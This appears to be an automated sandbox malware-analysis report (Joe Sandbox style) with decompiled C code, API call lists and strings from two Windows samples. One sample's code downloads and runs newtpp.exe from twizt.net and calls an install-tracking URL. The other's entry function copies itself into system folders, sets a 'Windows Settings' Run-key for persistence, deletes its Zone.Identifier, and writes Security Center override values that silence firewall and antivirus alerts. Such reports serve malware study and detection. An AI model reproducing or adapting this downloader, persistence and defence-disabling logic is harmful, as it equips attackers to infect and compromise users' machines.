String ID: %s\33573537.jpg$%temp%
API String ID: 750032643-2829634191
Opcode ID: b2df60e89207c59a4c2960b999fb63c004ebd3b1b70d55075b4e65be076c56c2
Instruction ID: b4e0e66dd5723f3320d8d6ffb9eca7fdb357e4fa150983ca9be2ba9feafad57b
Opcode Fuzzy Hash: b2df60e89207c59a4c2960b999fb63c004ebd3b1b70d55075b4e65be076c56c2
Instruction Fuzzy Hash: 36F090B4644300B7EB309B64EC5AFD637697B80704F80CA18B7E5D50C2E7BA919CD7A5

Uniqueness

Uniqueness Score: -1.00%

Function 01091000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E01091000(WCHAR* _a4) {
				struct _STARTUPINFOW _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				int _t15;

				memset( &_v68, 0, 0x44);
				_v84 = 0;
				_v80 = 0;
				_v76 = 0;
				_v72 = 0;
				_v68.wShowWindow = 5;
				_v68.cb = 0x44;
				_v68.dwFlags = 1;
				_t15 = CreateProcessW(0, _a4, 0, 0, 0, 0x20, 0, 0,  &_v68,  &_v84 + 0xc); // executed
				if(_t15 != 1) {
					return 0;
				} else {
					Sleep(0x3e8);
					return 1;
				}
			}

0x0109100c
0x0109101a
0x0109101e
0x01091022
0x01091026
0x0109103e
0x0109104c
0x01091054
0x0109105c
0x01091065
0x0109107d
0x01091067
0x0109106c
0x01091077
0x01091077

APIs

memset.MSVCR90 ref: 0109100C
CreateProcessW.KERNEL32 ref: 0109105C
Sleep.KERNEL32(000003E8), ref: 0109106C

Strings

D, xrefs: 0109104C

Memory Dump Source

Source File: 00000001.00000002.379745424.0000000001091000.00000020.00000001.01000000.00000003.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.379706425.0000000001090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.379751346.0000000001092000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.379756642.0000000001094000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_gEkl9O5tiu.jbxd

Similarity

API ID: CreateProcessSleepmemset
String ID: D
API String ID: 4129363112-2746444292
Opcode ID: 514be856930f27b027e5ffe9b581fe774fa5b6080b345cb8d0d4b1cf41a240e7
Instruction ID: f0606be3e3797390ef68aaceba7e5835ba9d835fc632834e745f472a712fd157
Opcode Fuzzy Hash: 514be856930f27b027e5ffe9b581fe774fa5b6080b345cb8d0d4b1cf41a240e7
Instruction Fuzzy Hash: CA016DB0A44300AAE710DF20CC46B4B77E5BB88B00F50491DF399DA2C0E7BA95088B57

Uniqueness

Uniqueness Score: -1.00%

Function 010913E0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 11
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E010913E0(void* __edi) {

				Sleep(0x3e8); // executed
				_push(L"http://twizt.net/newtpp.exe");
				E01091080(__edi);
				if(E01091360() != 0) {
					E01091300();
				}
				return 0;
			}

0x010913e5
0x010913eb
0x010913f0
0x010913ff
0x01091401
0x01091401
0x01091408

APIs

Sleep.KERNEL32(000003E8), ref: 010913E5

Part of subcall function 01091080: GetTickCount.KERNEL32 ref: 01091089
Part of subcall function 01091080: srand.MSVCR90 ref: 01091090
Part of subcall function 01091080: ExpandEnvironmentStringsW.KERNEL32 ref: 010910AF
Part of subcall function 01091080: rand.MSVCR90 ref: 010910B5
Part of subcall function 01091080: rand.MSVCR90 ref: 010910C9
Part of subcall function 01091080: wsprintfW.USER32 ref: 010910F5
Part of subcall function 01091080: InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36,00000000,00000000,00000000,00000000), ref: 01091107
Part of subcall function 01091080: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 01091133
Part of subcall function 01091080: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 01091157
Part of subcall function 01091080: InternetReadFile.WININET(00000000,?,00000103,?), ref: 01091181
Part of subcall function 01091080: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 010911A0
Part of subcall function 01091080: InternetReadFile.WININET(00000000,?,00000103,?), ref: 010911B9

Part of subcall function 01091360: ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 01091378
Part of subcall function 01091360: wsprintfW.USER32 ref: 01091390
Part of subcall function 01091360: PathFileExistsW.SHLWAPI(00000000), ref: 0109139D

Part of subcall function 01091300: InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36,00000000,00000000,00000000,00000000), ref: 01091310
Part of subcall function 01091300: InternetOpenUrlA.WININET(00000000,http://twizt.net/peinstall.php,00000000,00000000,00000000,00000000), ref: 01091337
Part of subcall function 01091300: Sleep.KERNEL32(000003E8), ref: 01091344
Part of subcall function 01091300: InternetCloseHandle.WININET(00000000), ref: 01091347
Part of subcall function 01091300: Sleep.KERNEL32(000003E8), ref: 0109134F
Part of subcall function 01091300: InternetCloseHandle.WININET(00000000), ref: 01091352

Strings

http://twizt.net/newtpp.exe, xrefs: 010913EB

Memory Dump Source

Source File: 00000001.00000002.379745424.0000000001091000.00000020.00000001.01000000.00000003.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.379706425.0000000001090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.379751346.0000000001092000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.379756642.0000000001094000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_gEkl9O5tiu.jbxd

Similarity

API ID: Internet$File$Open$Sleep$CloseEnvironmentExpandHandleReadStringsrandwsprintf$CountCreateExistsPathTickWritesrand
String ID: http://twizt.net/newtpp.exe
API String ID: 3094868945-3495472230
Opcode ID: 036077cca7d7ec9289a50599cc7470c31cd002c30858b0f583ce45fc35a1a271
Instruction ID: 690d823ae43df43ffcb07b3b9cde8e7168697eab21b641541a1b94c7198a98b0
Opcode Fuzzy Hash: 036077cca7d7ec9289a50599cc7470c31cd002c30858b0f583ce45fc35a1a271
Instruction Fuzzy Hash: F1C08C31B00203B39F4033B1193BA8911A01AA81EAF04C491B7CA4948AEEA28015B123

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 2550821914.exePID: 680, Parent PID: 1580COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.2%
Total number of Nodes:	1439
Total number of Limit Nodes:	7

Executed Functions

Function 0040D0F0 Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E0040D0F0() {
				char _v16;
				intOrPtr* _v20;
				intOrPtr* _v24;
				char _v25;
				char _v26;
				intOrPtr _v32;
				intOrPtr _v36;
				char _t26;
				char _t30;
				intOrPtr* _t34;

				GetLocaleInfoA(0x400, 7,  &_v16, 0xa); // executed
				_v20 = 0x410358;
				_v24 =  &_v16;
				while(1) {
					_t34 = _v24;
					_t26 =  *_t34;
					_v25 = _t26;
					if(_t26 !=  *_v20) {
						break;
					}
					if(_v25 == 0) {
						L5:
						_v32 = 0;
						L7:
						_v36 = _v32;
						if(_v36 != 0) {
							return 0;
						}
						return 1;
					}
					_t34 = _v24;
					_t30 =  *((intOrPtr*)(_t34 + 1));
					_v26 = _t30;
					_t13 = _v20 + 1; // 0x6f00524b
					if(_t30 !=  *_t13) {
						break;
					}
					_v24 = _v24 + 2;
					_v20 = _v20 + 2;
					if(_v26 != 0) {
						continue;
					}
					goto L5;
				}
				asm("sbb edx, edx");
				asm("sbb edx, 0xffffffff");
				_v32 = _t34;
				goto L7;
			}

0x0040d103
0x0040d109
0x0040d113
0x0040d116
0x0040d116
0x0040d119
0x0040d11b
0x0040d123
0x00000000
0x00000000
0x0040d129
0x0040d14a
0x0040d14a
0x0040d15b
0x0040d15e
0x0040d165
0x00000000
0x0040d16b
0x00000000
0x0040d167
0x0040d12b
0x0040d12e
0x0040d131
0x0040d137
0x0040d13a
0x00000000
0x00000000
0x0040d13c
0x0040d140
0x0040d148
0x00000000
0x00000000
0x00000000
0x0040d148
0x0040d153
0x0040d155
0x0040d158
0x00000000

APIs

GetLocaleInfoA.KERNELBASE(00000400,00000007,?,0000000A,?,?,?,?,?,?,?,00405FDC), ref: 0040D103

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7a92b5bdc3f3dde32a044aaa340ec16070e5a3784df047b4ba0a0c8432a93d9b
Instruction ID: f778d3e24ee8b8148d0d6da74f5cf0ba74d40266469d81105501966183134688
Opcode Fuzzy Hash: 7a92b5bdc3f3dde32a044aaa340ec16070e5a3784df047b4ba0a0c8432a93d9b
Instruction Fuzzy Hash: 50112874D082498EDB11CFE4C8457FEBBB1AB5A314F04829AD4603A3C1C7785A4ACBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405E10 Relevance: 168.5, APIs: 60, Strings: 36, Instructions: 492
registrysleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			_entry_() {
				short _v524;
				char _v528;
				int _v532;
				int _v536;
				char _v1060;
				void* _v1064;
				char _v1588;
				short _v2108;
				intOrPtr _v2112;
				short _v2636;
				void* _v2640;
				char _v3044;
				intOrPtr* _v3048;
				int _v3052;
				short _v3054;
				short _v3056;
				int _v3060;
				int _v3064;
				intOrPtr* _v3068;
				intOrPtr _v3072;
				short _v3074;
				signed int _v3080;
				intOrPtr* _v3084;
				intOrPtr _v3088;
				short _v3090;
				signed int _v3096;
				void* _t121;
				int _t129;
				intOrPtr _t149;
				signed char _t179;
				int _t184;
				signed char _t192;
				long _t202;
				signed char _t203;
				int _t210;
				short _t215;
				intOrPtr _t219;
				short _t245;
				intOrPtr _t253;
				intOrPtr _t254;
				void* _t278;
				void* _t279;
				void* _t286;

				Sleep(0xbb8); // executed
				_v536 = 0;
				_v2112 = 0x235a;
				while(_v536 < _v2112) {
					_t210 = PathFileExistsW(L"2393737939739"); // executed
					if(_t210 != 0) {
						CopyFileW(L"297973937,", L"33973397337", 0);
						MoveFileA("337372927", "2282688262");
						MoveFileW(L"038038", L"333383737");
					}
					_v536 = _v536 + 1;
				}
				_t121 = CreateMutexA(0, 0, "2u9o0b7n"); // executed
				_v2640 = _t121;
				if(GetLastError() != 0xb7) {
					_v1064 = 0;
					_v528 = 1;
					GetModuleFileNameW(0, "C:\Users\Albus\AppData\Local\Temp\2550821914.exe", 0x105);
					_v532 = PathFindFileNameW("C:\Users\Albus\AppData\Local\Temp\2550821914.exe");
					wsprintfW( &_v524, L"%s:Zone.Identifier", "C:\Users\Albus\AppData\Local\Temp\2550821914.exe");
					_t279 = _t278 + 0xc;
					DeleteFileW( &_v524); // executed
					ExpandEnvironmentStringsW(L"%userprofile%",  &_v2636, 0x104);
					_v3048 = 0x414bf0;
					_v3052 = _v532;
					while(1) {
						_t129 = _v3052;
						_t215 =  *_t129;
						_v3054 = _t215;
						if(_t215 !=  *_v3048) {
							break;
						}
						if(_v3054 == 0) {
							L12:
							_v3060 = 0;
							L14:
							_v3064 = _v3060;
							if(_v3064 == 0) {
								L31:
								Sleep(0x1f4);
								if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center", 0, 0x20006,  &_v1064) == 0) {
									RegSetValueExA(_v1064, "FirewallOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "FirewallDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiSpywareOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesDisableNotify", 0, 4,  &_v528, 4);
									RegCloseKey(_v1064);
								}
								if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center\\Svc", 0, 0x20006,  &_v1064) == 0) {
									RegSetValueExA(_v1064, "FirewallOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "FirewallDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiSpywareOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesDisableNotify", 0, 4,  &_v528, 4);
									RegCloseKey(_v1064);
								}
								Sleep(0x1f4);
								if((E0040B1C0() & 0x000000ff) != 0) {
									__imp__#115(0x202,  &_v3044);
									wsprintfW(0x416be8, L"%s\\tbnds.dat",  &_v2636);
									wsprintfW(0x4165c8, L"%s\\tbcmds.dat",  &_v2636);
									CreateThread(0, 0, E004043F0, 0, 0, 0);
									Sleep(0x3e8);
									CreateThread(0, 0, E004054A0, 0, 0, 0);
									Sleep(0x3e8);
									CreateThread(0, 0, E00405CF0, 0, 0, 0);
									Sleep(0x2710);
									E004045F0();
									E00405BA0(E0040D020(),  &_v2636);
									 *0x416e0c = CreateEventA(0, 1, 0, 0);
									 *0x416e14 = E0040A8F0( &_v2636);
									 *0x416e10 = E0040BAF0( &_v2636);
									E00409D40();
									_t253 =  *0x416e10; // 0x0
									E0040BBA0(_t253, 0, E0040BFB0, 0, 0, 0);
									_t149 =  *0x416e10; // 0x0
									E0040BBA0(_t149, 0, E0040BF10, 0, 0, 0);
									_t219 =  *0x416e10; // 0x0
									E0040BBA0(_t219, 0, E0040BAA0, 0, 0, 0);
									_t254 =  *0x416e10; // 0x0
									E0040BBA0(_t254, 0, E0040B8A0, 0, 0, 0);
								}
								return 0;
							}
							_t179 = E0040D0F0(); // executed
							if((_t179 & 0x000000ff) != 1) {
								ExpandEnvironmentStringsW(L"%windir%",  &_v2108, 0x104);
								wsprintfW( &_v1588, L"%s\\%s",  &_v2108, 0x414bf0);
								_t286 = _t279 + 0x10;
								_t184 = CopyFileW("C:\Users\Albus\AppData\Local\Temp\2550821914.exe",  &_v1588, 0); // executed
								if(_t184 == 0) {
									L24:
									Sleep(0x1f4);
									wsprintfW( &_v1060, L"%s\\%s",  &_v2636, 0x414bf0);
									_t279 = _t286 + 0x10;
									if(CopyFileW(?str?,  &_v1060, 0) == 0) {
										goto L31;
									}
									SetFileAttributesW( &_v1060, 3);
									if(RegOpenKeyExW(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1064) != 0) {
										L29:
										_t192 = E0040D390( &_v1060);
										_t279 = _t279 + 4;
										if((_t192 & 0x000000ff) != 1) {
											goto L31;
										}
										ExitProcess(0);
									}
									_v3084 =  &_v1060;
									_v3088 = _v3084 + 2;
									do {
										_v3090 =  *_v3084;
										_v3084 = _v3084 + 2;
									} while (_v3090 != 0);
									_v3096 = _v3084 - _v3088 >> 1;
									RegSetValueExW(_v1064, L"Windows Settings", 0, 1,  &_v1060, _v3096 + _v3096 + 2);
									RegCloseKey(_v1064);
									goto L29;
								}
								SetFileAttributesW( &_v1588, 3); // executed
								_t202 = RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1064); // executed
								if(_t202 != 0) {
									L22:
									_t203 = E0040D390( &_v1588); // executed
									_t286 = _t286 + 4;
									if((_t203 & 0x000000ff) != 1) {
										goto L24;
									}
									ExitProcess(0); // executed
								}
								_v3068 =  &_v1588;
								_v3072 = _v3068 + 2;
								do {
									_v3074 =  *_v3068;
									_v3068 = _v3068 + 2;
								} while (_v3074 != 0);
								_v3080 = _v3068 - _v3072 >> 1;
								RegSetValueExW(_v1064, L"Windows Settings", 0, 1,  &_v1588, _v3080 + _v3080 + 2); // executed
								RegCloseKey(_v1064);
								goto L22;
							}
							ExitProcess(0);
						}
						_t129 = _v3052;
						_t245 =  *((intOrPtr*)(_t129 + 2));
						_v3056 = _t245;
						_t25 = _v3048 + 2; // 0x790073
						if(_t245 !=  *_t25) {
							break;
						}
						_v3052 = _v3052 + 4;
						_v3048 = _v3048 + 4;
						if(_v3056 != 0) {
							continue;
						}
						goto L12;
					}
					asm("sbb eax, eax");
					asm("sbb eax, 0xffffffff");
					_v3060 = _t129;
					goto L14;
				}
				ExitProcess(0);
			}

0x00405e1e
0x00405e24
0x00405e2e
0x00405e38
0x00405e4b
0x00405e53
0x00405e61
0x00405e71
0x00405e81
0x00405e81
0x00405e90
0x00405e90
0x00405ea1
0x00405ea7
0x00405eb8
0x00405ec2
0x00405ecc
0x00405ee2
0x00405ef3
0x00405f0a
0x00405f10
0x00405f1a
0x00405f31
0x00405f37
0x00405f47
0x00405f4d
0x00405f4d
0x00405f53
0x00405f56
0x00405f66
0x00000000
0x00000000
0x00405f70
0x00405fa7
0x00405fa7
0x00405fbe
0x00405fc4
0x00405fd1
0x0040623a
0x0040623f
0x00406265
0x00406284
0x004062a3
0x004062c2
0x004062e1
0x00406300
0x0040631f
0x0040633e
0x0040634b
0x0040634b
0x00406371
0x00406390
0x004063af
0x004063ce
0x004063ed
0x0040640c
0x0040642b
0x0040644a
0x00406457
0x00406457
0x00406462
0x00406472
0x00406484
0x0040649b
0x004064b5
0x004064cd
0x004064d8
0x004064ed
0x004064f8
0x0040650d
0x00406518
0x0040651e
0x00406528
0x0040653b
0x00406545
0x0040654f
0x00406554
0x00406566
0x0040656d
0x00406582
0x00406588
0x0040659d
0x004065a4
0x004065b9
0x004065c0
0x004065c5
0x00000000
0x004065cc
0x00405fd7
0x00405fe2
0x00405ffd
0x0040601b
0x00406021
0x00406032
0x0040603a
0x00406119
0x0040611e
0x0040613c
0x00406142
0x0040615b
0x00000000
0x00000000
0x0040616a
0x00406190
0x0040621b
0x00406222
0x00406227
0x00406230
0x00000000
0x00000000
0x00406234
0x00406234
0x0040619c
0x004061ab
0x004061b1
0x004061ba
0x004061c1
0x004061c8
0x004061e0
0x00406208
0x00406215
0x00000000
0x00406215
0x00406049
0x00406067
0x0040606f
0x004060fa
0x00406101
0x00406106
0x0040610f
0x00000000
0x00000000
0x00406113
0x00406113
0x0040607b
0x0040608a
0x00406090
0x00406099
0x004060a0
0x004060a7
0x004060bf
0x004060e7
0x004060f4
0x00000000
0x004060f4
0x00405fe6
0x00405fe6
0x00405f72
0x00405f78
0x00405f7c
0x00405f89
0x00405f8d
0x00000000
0x00000000
0x00405f8f
0x00405f96
0x00405fa5
0x00000000
0x00000000
0x00000000
0x00405fa5
0x00405fb3
0x00405fb5
0x00405fb8
0x00000000
0x00405fb8
0x00405ebc

APIs

Sleep.KERNELBASE(00000BB8), ref: 00405E1E
PathFileExistsW.SHLWAPI(2393737939739), ref: 00405E4B
CopyFileW.KERNEL32 ref: 00405E61
MoveFileA.KERNEL32(337372927,2282688262), ref: 00405E71
MoveFileW.KERNEL32 ref: 00405E81
CreateMutexA.KERNELBASE(00000000,00000000,2u9o0b7n), ref: 00405EA1
GetLastError.KERNEL32 ref: 00405EAD
ExitProcess.KERNEL32 ref: 00405EBC
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\2550821914.exe,00000105), ref: 00405EE2
PathFindFileNameW.SHLWAPI(C:\Users\user\AppData\Local\Temp\2550821914.exe), ref: 00405EED
wsprintfW.USER32 ref: 00405F0A
DeleteFileW.KERNELBASE(?), ref: 00405F1A
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00405F31
ExitProcess.KERNEL32 ref: 00405FE6
ExpandEnvironmentStringsW.KERNEL32(%windir%,?,00000104), ref: 00405FFD
wsprintfW.USER32 ref: 0040601B
CopyFileW.KERNEL32 ref: 00406032
SetFileAttributesW.KERNELBASE(?,00000003), ref: 00406049
RegOpenKeyExW.KERNEL32 ref: 00406067
RegSetValueExW.KERNEL32 ref: 004060E7
RegCloseKey.ADVAPI32(00000000), ref: 004060F4
ExitProcess.KERNEL32 ref: 00406113
Sleep.KERNEL32(000001F4), ref: 0040611E
wsprintfW.USER32 ref: 0040613C
CopyFileW.KERNEL32 ref: 00406153
SetFileAttributesW.KERNEL32(?,00000003), ref: 0040616A
RegOpenKeyExW.ADVAPI32 ref: 00406188
RegSetValueExW.ADVAPI32 ref: 00406208
RegCloseKey.ADVAPI32(00000000), ref: 00406215
ExitProcess.KERNEL32 ref: 00406234
Sleep.KERNEL32(000001F4), ref: 0040623F
RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Security Center,00000000,00020006,00000000), ref: 0040625D
RegSetValueExA.ADVAPI32(00000000,FirewallOverride,00000000,00000004,00000001,00000004), ref: 00406284
RegSetValueExA.ADVAPI32(00000000,FirewallDisableNotify,00000000,00000004,00000001,00000004), ref: 004062A3
RegSetValueExA.ADVAPI32(00000000,AntiSpywareOverride,00000000,00000004,00000001,00000004), ref: 004062C2
RegSetValueExA.ADVAPI32(00000000,AntiVirusOverride,00000000,00000004,00000001,00000004), ref: 004062E1
RegSetValueExA.ADVAPI32(00000000,AntiVirusDisableNotify,00000000,00000004,00000001,00000004), ref: 00406300
RegSetValueExA.ADVAPI32(00000000,UpdatesOverride,00000000,00000004,00000001,00000004), ref: 0040631F
RegSetValueExA.ADVAPI32(00000000,UpdatesDisableNotify,00000000,00000004,00000001,00000004), ref: 0040633E
RegCloseKey.ADVAPI32(00000000), ref: 0040634B
RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Security Center\Svc,00000000,00020006,00000000), ref: 00406369
RegSetValueExA.ADVAPI32(00000000,FirewallOverride,00000000,00000004,00000001,00000004), ref: 00406390
RegSetValueExA.ADVAPI32(00000000,FirewallDisableNotify,00000000,00000004,00000001,00000004), ref: 004063AF
RegSetValueExA.ADVAPI32(00000000,AntiSpywareOverride,00000000,00000004,00000001,00000004), ref: 004063CE
RegSetValueExA.ADVAPI32(00000000,AntiVirusOverride,00000000,00000004,00000001,00000004), ref: 004063ED
RegSetValueExA.ADVAPI32(00000000,AntiVirusDisableNotify,00000000,00000004,00000001,00000004), ref: 0040640C
RegSetValueExA.ADVAPI32(00000000,UpdatesOverride,00000000,00000004,00000001,00000004), ref: 0040642B
RegSetValueExA.ADVAPI32(00000000,UpdatesDisableNotify,00000000,00000004,00000001,00000004), ref: 0040644A
RegCloseKey.ADVAPI32(00000000), ref: 00406457
Sleep.KERNEL32(000001F4), ref: 00406462
WSAStartup.WS2_32(00000202,?), ref: 00406484
wsprintfW.USER32 ref: 0040649B
wsprintfW.USER32 ref: 004064B5
CreateThread.KERNEL32(00000000,00000000,004043F0,00000000,00000000,00000000), ref: 004064CD
Sleep.KERNEL32(000003E8), ref: 004064D8
CreateThread.KERNEL32(00000000,00000000,004054A0,00000000,00000000,00000000), ref: 004064ED
Sleep.KERNEL32(000003E8), ref: 004064F8
CreateThread.KERNEL32(00000000,00000000,00405CF0,00000000,00000000,00000000), ref: 0040650D
Sleep.KERNEL32(00002710), ref: 00406518
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00406535

Strings

2u9o0b7n, xrefs: 00405E98
337372927, xrefs: 00405E6C
UpdatesOverride, xrefs: 0040641F
UpdatesDisableNotify, xrefs: 00406332
AntiVirusDisableNotify, xrefs: 004062F4
AntiSpywareOverride, xrefs: 004063C2
297973937,, xrefs: 00405E5C
333383737, xrefs: 00405E77
%s\%s, xrefs: 00406130
FirewallOverride, xrefs: 00406384
Z#, xrefs: 00405E2E
FirewallOverride, xrefs: 00406278
2282688262, xrefs: 00405E67
UpdatesDisableNotify, xrefs: 0040643E
FirewallDisableNotify, xrefs: 004063A3
AntiVirusOverride, xrefs: 004063E1
%s\tbnds.dat, xrefs: 00406491
%windir%, xrefs: 00405FF8
SOFTWARE\Microsoft\Security Center, xrefs: 00406253
%s\%s, xrefs: 0040600F
C:\Users\user\AppData\Local\Temp\2550821914.exe, xrefs: 00405EDB, 00405EE8, 00405EF9, 0040602D, 0040614E
%userprofile%, xrefs: 00405F2C
AntiVirusOverride, xrefs: 004062D5
UpdatesOverride, xrefs: 00406313
038038, xrefs: 00405E7C
AntiVirusDisableNotify, xrefs: 00406400
33973397337, xrefs: 00405E57
FirewallDisableNotify, xrefs: 00406297
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0040617E
%s:Zone.Identifier, xrefs: 00405EFE
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0040605D
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 0040635F
AntiSpywareOverride, xrefs: 004062B6
%s\tbcmds.dat, xrefs: 004064AB
2393737939739, xrefs: 00405E46
Windows Settings, xrefs: 004060DB, 004061FC

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Value$File$Sleep$Createwsprintf$CloseExitOpenProcess$CopyThread$AttributesEnvironmentExpandMoveNamePathStrings$DeleteErrorEventExistsFindLastModuleMutexStartup
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\tbcmds.dat$%s\tbnds.dat$%userprofile%$%windir%$038038$2282688262$2393737939739$297973937,$2u9o0b7n$333383737$337372927$33973397337$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$C:\Users\user\AppData\Local\Temp\2550821914.exe$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$Z#
API String ID: 2549499605-1197097588
Opcode ID: ef92d689a96c8412123f0e4fb90ddc0662b6d0b5b4c5dbf683da85d03ef3d0d0
Instruction ID: 83af2952ddda4d09f50abae1b8075a5cb95368c24024515adc0fadd5cc82fc98
Opcode Fuzzy Hash: ef92d689a96c8412123f0e4fb90ddc0662b6d0b5b4c5dbf683da85d03ef3d0d0
Instruction Fuzzy Hash: D1122EB1B80318ABE7209B50DC4AFD97774EB48B05F5081A5B309AA1D1D7F4AAC4CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D390 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 59
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D390(char _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOW _v100;
				intOrPtr _v104;
				int _t20;

				memset( &_v100, 0, 0x44);
				_v24.hProcess = 0;
				_v24.hThread = 0;
				_v24.dwProcessId = 0;
				_v24.dwThreadId = 0;
				_v100.cb = 0x44;
				_v100.dwFlags = 1;
				_v100.wShowWindow = 5;
				_t11 =  &_a4; // 0x406227
				_t20 = CreateProcessW(0,  *_t11, 0, 0, 0, 0x20, 0, 0,  &_v100,  &_v24); // executed
				if(_t20 != 1) {
					_t12 =  &_a4; // 0x406227
					_v8 = ShellExecuteW(0, L"open",  *_t12, 0, 0, 0);
					_v104 = _v8;
					if(_v104 <= 0x20) {
						return 0;
					}
					Sleep(0x3e8);
					return 1;
				}
				Sleep(0x3e8); // executed
				return 1;
			}

0x0040d39e
0x0040d3a8
0x0040d3ab
0x0040d3ae
0x0040d3b1
0x0040d3b4
0x0040d3bb
0x0040d3c7
0x0040d3df
0x0040d3e5
0x0040d3ee
0x0040d405
0x0040d416
0x0040d41c
0x0040d423
0x00000000
0x0040d434
0x0040d42a
0x00000000
0x0040d430
0x0040d3f5
0x00000000

APIs

memset.NTDLL ref: 0040D39E
CreateProcessW.KERNEL32(00000000,'b@,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040D3E5
Sleep.KERNELBASE(000003E8), ref: 0040D3F5
